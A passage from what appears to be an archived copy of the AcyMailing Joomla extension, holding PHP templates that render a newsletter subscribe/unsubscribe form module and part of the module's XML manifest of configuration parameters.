	$styleString = empty($style) ? '' : 'style="'.implode(';',$style).'"';
	?>
	<div class="acymailing_fulldiv" id="acymailing_fulldiv_<?php echo $formName; ?>" <?php echo $styleString; ?> >
		<form id="<?php echo $formName; ?>" action="<?php echo acymailing_route('index.php'); ?>" onsubmit="return submitacymailingform('optin','<?php echo $formName;?>')" method="post" name="<?php echo $formName ?>" <?php if(!empty($fieldsClass->formoption)) echo $fieldsClass->formoption; ?> >
		<div class="acymailing_module_form" >
			<?php if(!empty($introText)) echo '<div class="acymailing_introtext">'.$introText.'</div>';

			$listContent = '';
			if($params->get('dropdown',0)){
				$listContent .= '<select name="subscription[1]">';
				foreach($visibleListsArray as $myListId){
					$listContent .= '<option value="'.$myListId.'">'.$allLists[$myListId]->name.'</option>';
				}
				$listContent .= '</select>';
			} else{
				$listContent .= '<div class="acymailing_lists">';
				foreach($visibleListsArray as $myListId){
					$check = in_array($myListId,$checkedListsArray) ? 'checked="checked"' : '';

					if($params->get('checkmode',0) == '0' AND !empty($identifiedUser->email)){
						if(empty($allLists[$myListId]->status)){$check = '';}
						else{
							$check = $allLists[$myListId]->status == '-1' ? '' : 'checked="checked"';
						}
					}
					$listContent .= '
					<p class="onelist">
						<label for="acylist_'.$myListId.'">
						<input type="checkbox" class="acymailing_checkbox" name="subscription[]" id="acylist_'.$myListId.'" '.$check.' value="'.$myListId.'"/>';
						$joomItem = $params->get('itemid',0);
						if(empty($joomItem)) $joomItem = $config->get('itemid',0);
						$addItem = empty($joomItem) ? '' : '&Itemid='.$joomItem;
						$archivelink = acymailing_completeLink('archive&listid='.$allLists[$myListId]->listid.'-'.$allLists[$myListId]->alias.$addItem);
						if($params->get('overlay',0)){
							if(!$params->get('link',1) OR !$allLists[$myListId]->visible) $archivelink = '';
							$listContent .= acymailing_tooltip($allLists[$myListId]->description,$allLists[$myListId]->name,'',$allLists[$myListId]->name,$archivelink);
						}else{
							if($params->get('link',1) AND $allLists[$myListId]->visible){
								$listContent .= '<a href="'.$archivelink.'" alt="'.$allLists[$myListId]->alias.'"'.((acymailing_getVar('cmd', 'tmpl') == 'component') ? 'target="_blank"' : '').' >';
							}
							$listContent .= $allLists[$myListId]->name;
							if($params->get('link',1) AND $allLists[$myListId]->visible){
								$listContent .= '</a>';
							}
						}
						$listContent .= '
						</label>
					</p>';
				 }
				$listContent .= '</div>';
			}

			if(!empty($visibleListsArray) && $listPosition == 'before') echo $listContent; ?>
			<div class="acymailing_form">
					<?php
					$tmpCatId = array();
					$tmpCatTag = array();
					foreach($fieldsToDisplay as $oneField){
						if(empty($extraFields[$oneField])) echo '<p class="onefield fieldacy'.$oneField.'" id="field_'.$oneField.'_'.$formName.'">';
						if($oneField == 'name' AND empty($extraFields[$oneField])){
							if($displayOutside) echo '<label for="user_name_'.$formName.'" class="acy_requiredField">'.$nameCaption.'</label>'; ?>
							<span class="acyfield_<?php echo $oneField. (!$displayOutside? ' acy_requiredField':''); ?>"><input id="user_name_<?php echo $formName; ?>" <?php if(!empty($identifiedUser->userid)) echo 'readonly="readonly" '; if(!$displayOutside){ ?> onfocus="if(this.value == '<?php echo $nameCaption;?>') this.value = '';" onblur="if(this.value=='') this.value='<?php echo $nameCaption?>';"<?php } ?> class="inputbox" type="text" name="user[name]" style="width:<?php echo $fieldsize; ?>" value="<?php if(!empty($identifiedUser->userid)) echo $identifiedUser->name; elseif(!$displayOutside) echo $nameCaption; ?>" title="<?php echo $nameCaption;?>"/></span>
							<?php
						}elseif($oneField == 'email' AND empty($extraFields[$oneField])){
							if($displayOutside) echo '<label for="user_email_'.$formName.'" class="acy_requiredField">'.$emailCaption.'</label>'; ?>
							<span class="acyfield_<?php echo $oneField. (!$displayOutside? ' acy_requiredField':''); ?>"><input id="user_email_<?php echo $formName; ?>" <?php if(!empty($identifiedUser->userid)) echo 'readonly="readonly" '; if(!$displayOutside){ ?> onfocus="if(this.value == '<?php echo $emailCaption;?>') this.value = '';" onblur="if(this.value=='') this.value='<?php echo $emailCaption?>';"<?php } ?> class="inputbox" type="text" name="user[email]" style="width:<?php echo $fieldsize; ?>" value="<?php if(!empty($identifiedUser->userid)) echo $identifiedUser->email; elseif(!$displayOutside) echo $emailCaption; ?>" title="<?php echo $emailCaption;?>" /></span>
							<?php
						}elseif($oneField == 'html' AND empty($extraFields[$oneField])){
							echo '<label>'.acymailing_translation('RECEIVE').'</label>';
							echo '<span class="acyfield_'.$oneField.'">'.acymailing_boolean("user[html]" ,'title="'.acymailing_translation('RECEIVE').'"',isset($identifiedUser->html) ? $identifiedUser->html : 1,acymailing_translation('HTML'),acymailing_translation('JOOMEXT_TEXT'),'user_html_'.$formName).'</span>';
						}elseif(!empty($extraFields[$oneField])){
							if($extraFields[$oneField]->type == 'category'){
								if(empty($extraFields[$oneField]->fieldcat) && !empty($tmpCatId)){
									while(!empty($tmpCatId)){
										echo '</'.str_replace('fldset', 'fieldset', end($tmpCatTag)).'>';
										array_pop($tmpCatId);
										array_pop($tmpCatTag);
									}
								}
								$tmpCatId[] = $extraFields[$oneField]->fieldid;
								$tmpCatTag[] = $extraFields[$oneField]->options['fieldcattag'];
								echo '<'.str_replace('fldset', 'fieldset', end($tmpCatTag)).' class="fieldCategory fieldacy'.$extraFields[$oneField]->namekey.' '.$extraFields[$oneField]->options['fieldcatclass'].'">';
								if(in_array(end($tmpCatTag), array('fieldset', 'fldset'))) echo '<legend>'.$extraFields[$oneField]->fieldname.'</legend>';
							}else{
								if(in_array($extraFields[$oneField]->fieldcat, $tmpCatId) || empty($extraFields[$oneField]->fieldcat)){
									while(!empty($tmpCatId) && $extraFields[$oneField]->fieldcat != end($tmpCatId)){
										echo '</'.str_replace('fldset', 'fieldset', end($tmpCatTag)).'>';
										array_pop($tmpCatId);
										array_pop($tmpCatTag);
									}
								}
								echo '<p class="onefield fieldacy'.$oneField.'" id="field_'.$oneField.'_'.$formName.'">';
								if($displayOutside){
									if(!empty($extraFields[$oneField]->required)) $requireClass = 'class="acy_requiredField"';
									else $requireClass = "";
									 echo '<label '.((strpos($extraFields[$oneField]->type,'text') !== false) ? 'for="user_'.$oneField.'_'.$formName.'"' : '' ).' '.$requireClass.'>'.$fieldsClass->trans($extraFields[$oneField]->fieldname).'</label>';
								}
								$sizestyle = '';
								if(!empty($extraFields[$oneField]->options['size'])){
									$sizestyle = 'style="width:'.(is_numeric($extraFields[$oneField]->options['size']) ? ($extraFields[$oneField]->options['size'].'px') : $extraFields[$oneField]->options['size']).'"';
								}
								if(!empty($extraFields[$oneField]->required) && !$displayOutside) $requireClass = ' acy_requiredField';
								else $requireClass = "";
								?>
								<span class="acyfield_<?php echo $oneField.$requireClass; ?>">
								<?php if(!empty($identifiedUser->userid) AND in_array($oneField,array('name','email'))){ ?>
										<input id="user_<?php echo $oneField; ?>_<?php echo $formName; ?>" readonly="readonly" class="inputbox" type="text" name="user[<?php echo $oneField;?>]" <?php echo $sizestyle; ?> value="<?php echo @$identifiedUser->$oneField; ?>" title="<?php echo $oneField;?>"/>
								<?php }else{
										echo $fieldsClass->display($extraFields[$oneField],@$identifiedUser->$oneField,'user['.$oneField.']',!$displayOutside);
								}?>
								</span>
								</p>
								<?php
							}
						}
						if(empty($extraFields[$oneField])) echo '</p>';
					}
					if(!empty($extraFields)){
						$lastVal = end($tmpCatId);
						while(!empty($lastVal)){
							echo '</'.str_replace('fldset', 'fieldset', end($tmpCatTag)).'>';
							array_pop($tmpCatId);
							array_pop($tmpCatTag);
							$lastVal = end($tmpCatId);
						}
					}

				if(empty($identifiedUser->userid) AND $config->get('captcha_enabled') AND acymailing_level(1)){ ?>
					<?php
					echo '<div class="onefield fieldacycaptcha" id="field_captcha_'.$formName.'">';
					$captchaClass = acymailing_get('class.acycaptcha');
					$captchaClass->display($formName, true);
					?>
					</div>
				<?php }

				 if($params->get('showterms',false)){
					echo '<p class="onefield fieldacyterms" id="field_terms_'.$formName.'">';
					?>
					<label for="mailingdata_terms_<?php echo $formName; ?>"><input id="mailingdata_terms_<?php echo $formName; ?>" class="checkbox" type="checkbox" name="terms" title="<?php echo acymailing_translation('JOOMEXT_TERMS'); ?>"/> <?php echo $termslink; ?></label>
					</p>
					<?php } ?>

					<?php if(!empty($visibleListsArray) && $listPosition == 'after')  echo $listContent; ?>

					<p class="acysubbuttons">
						<?php if($params->get('showsubscribe',true)){?>
						<input class="button subbutton btn btn-primary" type="submit" value="<?php $subtext = $params->get('subscribetextreg'); if(empty($identifiedUser->userid) OR empty($subtext)){ $subtext = $params->get('subscribetext',acymailing_translation('SUBSCRIBECAPTION')); } echo $subtext;  ?>" name="Submit" onclick="try{ return submitacymailingform('optin','<?php echo $formName;?>'); }catch(err){alert('The form could not be submitted '+err);return false;}"/>
						<?php }if($params->get('showunsubscribe',false) AND (!$params->get('showsubscribe',true) OR empty($identifiedUser->userid) OR !empty($countUnsub)) ){?>
						<input class="button unsubbutton btn btn-inverse" type="button" value="<?php echo $params->get('unsubscribetext',acymailing_translation('UNSUBSCRIBECAPTION')); ?>" name="Submit" onclick="return submitacymailingform('optout','<?php echo $formName;?>')"/>
						<?php } ?>
					</p>
				</div>
			<?php
			if(!empty($fieldsClass->excludeValue)){
				$js = "\n"."acymailingModule['excludeValues".$formName."'] = Array();";
				foreach($fieldsClass->excludeValue as $namekey => $value){
					$js .= "\n"."acymailingModule['excludeValues".$formName."']['".$namekey."'] = '".$value."';";
				}
				$js .= "\n";
				if($params->get('includejs','header') == 'header'){
					acymailing_addScript(true, $js);
				}else{
					echo "<script type=\"text/javascript\">
							<!--
							$js
							//-->
							</script>";
				}
			}
			if(!empty($postText)) echo '<div class="acymailing_finaltext">'.$postText.'</div>';
			$ajax = ($params->get('redirectmode') == '3') ? 1 : 0;?>
			<input type="hidden" name="ajax" value="<?php echo $ajax; ?>"/>
			<input type="hidden" name="acy_source" value="<?php echo 'module_'.$module->id ?>" />
			<input type="hidden" name="ctrl" value="sub"/>
			<input type="hidden" name="task" value="notask"/>
			<input type="hidden" name="redirect" value="<?php echo urlencode($redirectUrl); ?>"/>
			<input type="hidden" name="redirectunsub" value="<?php echo urlencode($redirectUrlUnsub); ?>"/>
			<input type="hidden" name="option" value="<?php echo ACYMAILING_COMPONENT ?>"/>
			<?php if(!empty($identifiedUser->userid)){ ?><input type="hidden" name="visiblelists" value="<?php echo $visibleLists;?>"/><?php } ?>
			<input type="hidden" name="hiddenlists" value="<?php echo $hiddenLists;?>"/>
			<input type="hidden" name="acyformname" value="<?php echo $formName; ?>" />
			<?php if(acymailing_getVar('cmd', 'tmpl') == 'component'){ ?>
				<input type="hidden" name="tmpl" value="component" />
				<?php if($params->get('effect','normal') == 'mootools-box' AND !empty($redirectUrl)){ ?>
					<input type="hidden" name="closepop" value="1" />
				<?php } } ?>
			<?php $myItemId = $config->get('itemid',0); if(empty($myItemId)){ global $Itemid; $myItemId = $Itemid;} if(!empty($myItemId)){ ?><input type="hidden" name="Itemid" value="<?php echo $myItemId;?>"/><?php } ?>
			</div>
		</form>
	</div>
	<?php if($params->get('effect','normal') == 'mootools-slide'){ ?> </div> <?php } ?>
</div>

com_acymailing/extensions/mod_acymailing/tmpl/default.php000060400000027502152455305300020007 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div class="acymailing_module<?php echo $params->get('moduleclass_sfx')?>" id="acymailing_module_<?php echo $formName; ?>">
<?php
	$style = array();
	if($params->get('effect','normal') == 'mootools-slide'){
		if(!empty($mootoolsIntro)) echo '<p class="acymailing_mootoolsintro">'.$mootoolsIntro.'</p>'; ?>
		<div class="acymailing_mootoolsbutton" id="acymailing_toggle_<?php echo $formName; ?>" >
			<p><a class="acymailing_togglemodule" id="acymailing_togglemodule_<?php echo $formName; ?>" href="#subscribe"><?php echo $mootoolsButton ?></a></p>
	<?php
	}
	if($params->get('textalign','none') != 'none') $style[] .= 'text-align:'.$params->get('textalign');
	$styleString = empty($style) ? '' : 'style="'.implode(';',$style).'"';
    $config = acymailing_config();
	?>
	<div class="acymailing_fulldiv" id="acymailing_fulldiv_<?php echo $formName; ?>" <?php echo $styleString; ?> >
		<form id="<?php echo $formName; ?>" action="<?php echo acymailing_route('index.php'); ?>" onsubmit="return submitacymailingform('optin','<?php echo $formName;?>')" method="post" name="<?php echo $formName ?>" <?php if(!empty($fieldsClass->formoption)) echo $fieldsClass->formoption; ?> >
		<div class="acymailing_module_form" >
			<?php if(!empty($introText)) echo '<div class="acymailing_introtext">'.$introText.'</div>';

			$listContent = '';
			if($params->get('dropdown',0)){
				$listContent .= '<select name="subscription[1]">';
				foreach($visibleListsArray as $myListId){
					$listContent .= '<option value="'.$myListId.'">'.$allLists[$myListId]->name.'</option>';
				}
				$listContent .= '</select>';
			} else{
				$listContent .= '<table class="acymailing_lists">';
				foreach($visibleListsArray as $myListId){
					$check = in_array($myListId,$checkedListsArray) ? 'checked="checked"' : '';
					if($params->get('checkmode',0) == '0' AND !empty($identifiedUser->email)){
						if(empty($allLists[$myListId]->status)){$check = '';}
						else{
							$check = $allLists[$myListId]->status == '-1' ? '' : 'checked="checked"';
						}
					}
					$listContent .= '
					<tr>
						<td>
						<label for="acylist_'.$myListId.'">
						<input type="checkbox" class="acymailing_checkbox" name="subscription[]" id="acylist_'.$myListId.'" '.$check.' value="'.$myListId.'"/>';
						$joomItem = $params->get('itemid',0);
						if(empty($joomItem)) $joomItem = $config->get('itemid',0);
						$addItem = empty($joomItem) ? '' : '&Itemid='.$joomItem;
						$archivelink = acymailing_completeLink('archive&listid='.$allLists[$myListId]->listid.'-'.$allLists[$myListId]->alias.$addItem);
						if($params->get('overlay',0)){
							if(!$params->get('link',1) OR !$allLists[$myListId]->visible) $archivelink = '';
							$listContent .= ' '.acymailing_tooltip($allLists[$myListId]->description,$allLists[$myListId]->name,'',$allLists[$myListId]->name,$archivelink);
						}else{
							if($params->get('link',1) AND $allLists[$myListId]->visible){
								$listContent .= ' <a href="'.$archivelink.'" alt="'.$allLists[$myListId]->alias.'"'.((acymailing_getVar('cmd', 'tmpl') == 'component') ? 'target="_blank"' : '').' >';
							}
							$listContent .= $allLists[$myListId]->name;
							if($params->get('link',1) AND $allLists[$myListId]->visible){
								$listContent .= '</a>';
							}
						}
						$listContent .= '</label>
						</td>
					</tr>';
				}
				$listContent .= '</table>';
			}

			if(!empty($visibleListsArray) && $listPosition == 'before'){
				echo $listContent;
			}//endif visiblelists
			?>
			<table class="acymailing_form">
				<tr>
					<?php foreach($fieldsToDisplay as $oneField){
						if($oneField == 'name' AND empty($extraFields[$oneField])){
							if($displayOutside) echo '<td><label for="user_name_'.$formName.'" class="acy_requiredField">'.$nameCaption.'</label></td>'; ?>
							<td class="acyfield_<?php echo $oneField. (!$displayOutside? ' acy_requiredField':''); ?>">
								<input id="user_name_<?php echo $formName; ?>" <?php if(!empty($identifiedUser->userid)) echo 'readonly="readonly" ';  if(!$displayOutside){ ?> onfocus="if(this.value == '<?php echo $nameCaption;?>') this.value = '';" onblur="if(this.value=='') this.value='<?php echo $nameCaption?>';"<?php } ?> class="inputbox" type="text" name="user[name]" style="width:<?php echo $fieldsize; ?>" value="<?php if(!empty($identifiedUser->userid)) echo $identifiedUser->name; elseif(!$displayOutside) echo $nameCaption; ?>" title="<?php echo $nameCaption?>"/>
							</td> <?php
						}elseif($oneField == 'email' AND empty($extraFields[$oneField])){
							if($displayOutside) echo '<td><label for="user_email_'.$formName.'" class="acy_requiredField">'.$emailCaption.'</label></td>'; ?>
							<td class="acyfield_<?php echo $oneField. (!$displayOutside? ' acy_requiredField':''); ?>">
								<input id="user_email_<?php echo $formName; ?>" <?php if(!empty($identifiedUser->userid)) echo 'readonly="readonly" ';  if(!$displayOutside){ ?> onfocus="if(this.value == '<?php echo $emailCaption;?>') this.value = '';" onblur="if(this.value=='') this.value='<?php echo $emailCaption?>';"<?php } ?> class="inputbox" type="text" name="user[email]" style="width:<?php echo $fieldsize; ?>" value="<?php if(!empty($identifiedUser->userid)) echo $identifiedUser->email; elseif(!$displayOutside) echo $emailCaption; ?>" title="<?php echo $emailCaption;?>"/>
							</td> <?php
						}elseif($oneField == 'html' AND empty($extraFields[$oneField])){
							echo '<td class="acyfield_'.$oneField.'" ';
							if($displayOutside AND !$displayInline) echo 'colspan="2"';
							echo '>'.acymailing_translation('RECEIVE').acymailing_boolean("user[html]" ,'title="'.acymailing_translation('RECEIVE').'"',isset($identifiedUser->html) ? $identifiedUser->html : 1,acymailing_translation('HTML'),acymailing_translation('JOOMEXT_TEXT'),'user_html_'.$formName).'</td>';
						}elseif(!empty($extraFields[$oneField])){
							if($extraFields[$oneField]->type == 'category'){
								echo '<td '. ($displayOutside && !$displayInline?'colspan="2"':'').' class="category_warning">Please use Tableless mode to display categories.</td>';
							} else{
								if($displayOutside){
									if(!empty($extraFields[$oneField]->required)) $requireClass = 'class="acy_requiredField"';
									else $requireClass = "";
									echo '<td><label '.((strpos($extraFields[$oneField]->type,'text') !== false) ? 'for="user_'.$oneField.'_'.$formName.'"' : '' ).' '. $requireClass .'>'.$fieldsClass->trans($extraFields[$oneField]->fieldname).'</label></td>';
								}
								$sizestyle = '';
								if(!empty($extraFields[$oneField]->options['size'])){
									$sizestyle = 'style="width:'.(is_numeric($extraFields[$oneField]->options['size']) ? ($extraFields[$oneField]->options['size'].'px') : $extraFields[$oneField]->options['size']).'"';
								}
								if(!empty($extraFields[$oneField]->required) && !$displayOutside) $requireClass = 'acy_requiredField';
								else $requireClass = "";
								?>
								<td class="acyfield_<?php echo $oneField .' '. $requireClass; ?>">
								<?php if(!empty($identifiedUser->userid) AND in_array($oneField,array('name','email'))){ ?>
										<input id="user_<?php echo $oneField; ?>_<?php echo $formName; ?>" readonly="readonly" class="inputbox" type="text" name="user[<?php echo $oneField;?>]" <?php echo $sizestyle; ?> value="<?php echo @$identifiedUser->$oneField; ?>" title="<?php echo $oneField;?>"/>
								<?php }else{
										echo $fieldsClass->display($extraFields[$oneField],@$identifiedUser->$oneField,'user['.$oneField.']',!$displayOutside);
								}?>
								</td><?php
							}
						}else{
							continue;
						}
						if(!$displayInline) echo '</tr><tr>';
					}

				if(empty($identifiedUser->userid) AND $config->get('captcha_enabled') AND acymailing_level(1)){ ?>
					<td class="captchakeymodule">
					<?php
						$captchaClass = acymailing_get('class.acycaptcha');
						if($displayOutside){ $captchaClass->display($formName, true).'</td><td class="captchafieldmodule">'; }else{$captchaClass->display($formName, true);}
					?>
					<?php if(!$displayInline) echo '</tr><tr>';
				}

				 if($params->get('showterms',false)){
					?>
					<td class="acyterms" <?php if($displayOutside AND !$displayInline) echo 'colspan="2"'; ?> >
					<input id="mailingdata_terms_<?php echo $formName; ?>" class="checkbox" type="checkbox" name="terms" title="<?php echo acymailing_translation('JOOMEXT_TERMS'); ?>"/> <?php echo $termslink;?>
					</td>
					<?php if(!$displayInline) echo '</tr><tr>';
					} ?>

					<?php if(!empty($visibleListsArray) && $listPosition == 'after') echo $listContent; ?>

					<td <?php if($displayOutside AND !$displayInline) echo 'colspan="2"'; ?> class="acysubbuttons">
						<?php if($params->get('showsubscribe',true)){?>
						<input class="button subbutton btn btn-primary" type="submit" value="<?php $subtext = $params->get('subscribetextreg'); if(empty($identifiedUser->userid) OR empty($subtext)){ $subtext = $params->get('subscribetext',acymailing_translation('SUBSCRIBECAPTION')); } echo $subtext;  ?>" name="Submit" onclick="try{ return submitacymailingform('optin','<?php echo $formName;?>'); }catch(err){alert('The form could not be submitted '+err);return false;}"/>
						<?php }if($params->get('showunsubscribe',false) AND (!$params->get('showsubscribe',true) OR empty($identifiedUser->userid) OR !empty($countUnsub)) ){?>
						<input class="button unsubbutton  btn btn-inverse" type="button" value="<?php echo $params->get('unsubscribetext',acymailing_translation('UNSUBSCRIBECAPTION')); ?>" name="Submit" onclick="return submitacymailingform('optout','<?php echo $formName;?>')"/>
						<?php } ?>
					</td>
				</tr>
			</table>
			<?php
			if(!empty($fieldsClass->excludeValue)){
				$js = "\n"."acymailingModule['excludeValues".$formName."'] = Array();";
				foreach($fieldsClass->excludeValue as $namekey => $value){
					$js .= "\n"."acymailingModule['excludeValues".$formName."']['".$namekey."'] = '".$value."';";
				}
				$js .= "\n";
				if($params->get('includejs','header') == 'header'){
					acymailing_addScript(true, $js);
				}else{
					echo "<script type=\"text/javascript\">
							<!--
							$js
							//-->
							</script>";
				}
			}
			if(!empty($postText)) echo '<div class="acymailing_finaltext">'.$postText.'</div>';
			$ajax = ($params->get('redirectmode') == '3') ? 1 : 0;?>
			<input type="hidden" name="ajax" value="<?php echo $ajax; ?>" />
			<input type="hidden" name="acy_source" value="<?php echo 'module_'.$module->id ?>" />
			<input type="hidden" name="ctrl" value="sub"/>
			<input type="hidden" name="task" value="notask"/>
			<input type="hidden" name="redirect" value="<?php echo urlencode($redirectUrl); ?>"/>
			<input type="hidden" name="redirectunsub" value="<?php echo urlencode($redirectUrlUnsub); ?>"/>
			<input type="hidden" name="option" value="<?php echo ACYMAILING_COMPONENT ?>"/>
			<?php if(!empty($identifiedUser->userid)){ ?><input type="hidden" name="visiblelists" value="<?php echo $visibleLists;?>"/><?php } ?>
			<input type="hidden" name="hiddenlists" value="<?php echo $hiddenLists;?>"/>
			<input type="hidden" name="acyformname" value="<?php echo $formName; ?>" />
			<?php if(acymailing_getVar('cmd', 'tmpl') == 'component'){ ?>
				<input type="hidden" name="tmpl" value="component" />
				<?php if($params->get('effect','normal') == 'mootools-box' AND !empty($redirectUrl)){ ?>
					<input type="hidden" name="closepop" value="1" />
				<?php } } ?>
			<?php $myItemId = $config->get('itemid',0); if(empty($myItemId)){ global $Itemid; $myItemId = $Itemid;} if(!empty($myItemId)){ ?><input type="hidden" name="Itemid" value="<?php echo $myItemId;?>"/><?php } ?>
			</div>
		</form>
	</div>
	<?php if($params->get('effect','normal') == 'mootools-slide'){ ?> </div> <?php } ?>
</div>

com_acymailing/extensions/mod_acymailing/mod_acymailing.xml000060400000051473152455305300020400 0ustar00<?xml version="1.0" encoding="utf-8"?>
<install type="module" version="1.5.0" method="upgrade">
	<name>AcyMailing Module</name>
	<creationDate>September 2009</creationDate>
	<version>3.7.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>Subscribe / Unsubscribe Module for AcyMailing</description>
	<files>
		<filename module="mod_acymailing">mod_acymailing.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" default="module" label="Help" description="Click on the help button to get some help"/>
		<param name="effect" type="radio" default="normal" label="DISPLAY_EFFECT" description="Select the effect you want to add to your module">
			<option value="normal">Normal (no effect)</option>
			<option value="mootools-slide">Slide effect</option>
			<option value="mootools-box">Popup effect</option>
		</param>
		<param name="lists" type="lists" default="None" label="VISIBLE_LISTS" description="The following selected lists will be added on the Module and will be visible (if they are not selected as automatically subscribed to)."/>
		<param name="hiddenlists" type="lists" default="All" label="AUTO_SUBSCRIBE_TO" description="The user will be automatically subscribed to the selected lists. They won't be displayed on your module but if the user subscribes, he will be subscribed to those lists as well"/>
		<param name="displaymode" type="radio" default="vertical" label="DISPLAY_MODE" description="Select whether you want to display the form horizontally, vertically or without table">
			<option value="inline">Horizontal</option>
			<option value="vertical">Vertical</option>
			<option value="tableless">Tableless</option>
		</param>
		<param name="listschecked" type="lists" default="All" label="LISTS_CHECKED_DEFAULT" description="The selected lists will be checked by default on your module if they are visible."/>
		<param name="checkmode" type="radio" default="0" label="CHECKED_MODE" description="If you select the first option - Show user's subscription status - only the lists that the logged-in user is subscribed to will be checked. This option has an effect on logged-in users only so you can choose whether you want to display his own subscription or always the default one.">
			<option value="0">Show user's subscription status</option>
			<option value="1">Default checked lists</option>
		</param>
		<param name="dropdown" type="radio" default="0" label="DROPDOWN_LISTS" description="Display the visible lists in a dropdown">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="overlay" type="radio" default="0" label="DESC_OVERLAY" description="Add the description of each visible list as an overlay of the list name. Be careful, you might have conflicts using this option if you have some flash elements on your website.">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="link" type="radio" default="1" label="LINKED_ARCHIVE" description="Add a link to the archive section for each list.">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="listposition" type="radio" default="before" label="LIST_POSITION" description="Select where to display the list.">
			<option value="before">ACY_BEFORE_FIELDS</option>
			<option value="after">ACY_AFTER_FIELDS</option>
		</param>
		<param name="customfields" type="customfields" default="name,email" label="DISP_FIELDS" description="Select the fields you want to display on your subscription module"/>

		<param name="@spacer" type="spacer" default="" label="" description=""/>

		<param name="nametext" type="text" size="50" default="" label="CAPT_NAME" description="Text displayed on the name field. If you don't specify anything, the default value will be used from the current language file"/>
		<param name="emailtext" type="text" size="50" default="" label="CAPT_EMAIL" description="Text displayed on the e-mail field. If you don't specify anything, the default value will be used from the current language file"/>
		<param name="fieldsize" type="text" size="10" default="80%" label="FIELD_SIZE" description="Specify the size of the email and name fields on your subscription form"/>
		<param name="displayfields" type="radio" default="0" label="DISP_TEXT_MODE" description="Display the Name and E-mail text inside or outside the field?">
			<option value="0">Inside</option>
			<option value="1">Outside</option>
		</param>
		<param name="introtext" type="textarea" rows="5" cols="35" default="" label="INTRO_TEXT" description="This text will be displayed before the form inside a span class=acymailing_introtext"/>
		<param name="finaltext" type="textarea" rows="5" cols="35" default="" label="POST_TEXT" description="This text will be displayed after the form inside a span class=acymailing_finaltext"/>
		<param name="@spacer" type="spacer" default="" label="" description=""/>
		<param name="showsubscribe" type="radio" default="1" label="DISP_SUB_BUTTON" description="Display the subscribe button on the module">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="subscribetext" type="text" size="50" default="" label="CAPT_SUB" description="Text displayed on the subscribe button. If you don't specify anything, the default value will be used from the current language file"/>
		<param name="subscribetextreg" type="text" size="50" default="" label="CAPT_SUB_LOGGED" description="Text displayed on the subscribe button if the user is logged in. If you don't specify anything, the default value will be used from the current language file"/>
		<param name="showunsubscribe" type="radio" default="0" label="DISP_UNSUB_BUTTON" description="Display the unsubscribe button on the module">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="unsubscribetext" type="text" size="50" default="" label="CAPT_UNSUB" description="Text displayed on the unsubscribe button. If you don't specify anything, the default value will be used from the current language file"/>

		<param name="@spacer" type="spacer" default="" label="" description=""/>
		<param name="redirectmode" type="radio" default="0" label="REDIRECT_MODE" description="After submitting the form, the user can be redirected to the previous page, to the Acymailing archive page or to a custom link (in that case, please write the url in the next field)">
			<option value="3">Ajax</option>
			<option value="0">Previous page</option>
			<option value="1">AcyMailing Archive</option>
			<option value="2">Custom Redirect Link</option>
		</param>
		<param name="redirectlink" type="text" size="50" default="" label="REDIRECT_LINK" description="If you selected the mode 'Custom Redirect Link', the user will be redirected to this url after clicking on the button subscribe"/>
		<param name="redirectlinkunsub" type="text" size="50" default="" label="REDIRECTION_UNSUB" description="If you selected the mode 'Custom Redirect Link', the user will be redirected to this url after clicking on the button unsubscribe"/>

		<param name="@spacer" type="spacer" default="" label="" description=""/>

		<param name="showterms" type="radio" default="0" label="JOOMEXT_TERMS" description="Display the 'Accept Terms and Conditions' box">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="showtermspopup" type="radio" default="1" label="TERMS_POPUP" description="If you select 'Yes', the article linked to the terms and conditions will be displayed in a popup, otherwise it will be displayed as a separated page">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="termscontent" type="termscontent" default="0" label="TERMS_CONTENT" description="The selected article will be displayed if the user clicks on the link 'Terms and Conditions'"/>
		<param name="@spacer" type="spacer" default="" label="" description=""/>
		<param name="mootoolsintro" type="textarea" rows="5" cols="35" default="" label="MOO_INTRO" description="This text will be displayed before the button in case of you use the Slide / Popup effect"/>
		<param name="mootoolsbutton" type="text" size="50" default="" label="MOO_BUTTON" description="Text displayed on the button in case of you use the Slide / Popup effect. If you don't specify anything, the default value will be used from the current language file"/>
		<param name="boxwidth" type="text" size="5" default="250" label="MOO_BOX_WIDTH" description="If you use the popup effect, you can set the width of the box in this area"/>
		<param name="boxheight" type="text" size="5" default="200" label="MOO_BOX_HEIGHT" description="If you use the popup effect, you can set the height of the box in this area"/>

	</params>

	<params group="advanced">
		<param name="moduleclass_sfx" type="text" default="" label="MODULE_CLASSSUF" description="PARAMMODULECLASSSUFFIX"/>
		<param name="textalign" type="list" default="0" label="MODULE_ALIGNMENT" description="This option enables you to align the text inside the module">
			<option value="none">Default CSS alignment</option>
			<option value="right">Right</option>
			<option value="left">Left</option>
			<option value="center">Center</option>
		</param>
		<param name="loggedin" type="radio" default="1" label="MODULE_AUTOID" description="Do you want the logged in users to be automatically identified in the module?">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="cache" type="list" default="0" label="MODULE_CACHING" description="Select whether to cache the content of this module">
			<option value="0">No caching</option>
			<option value="1">Use global</option>
		</param>
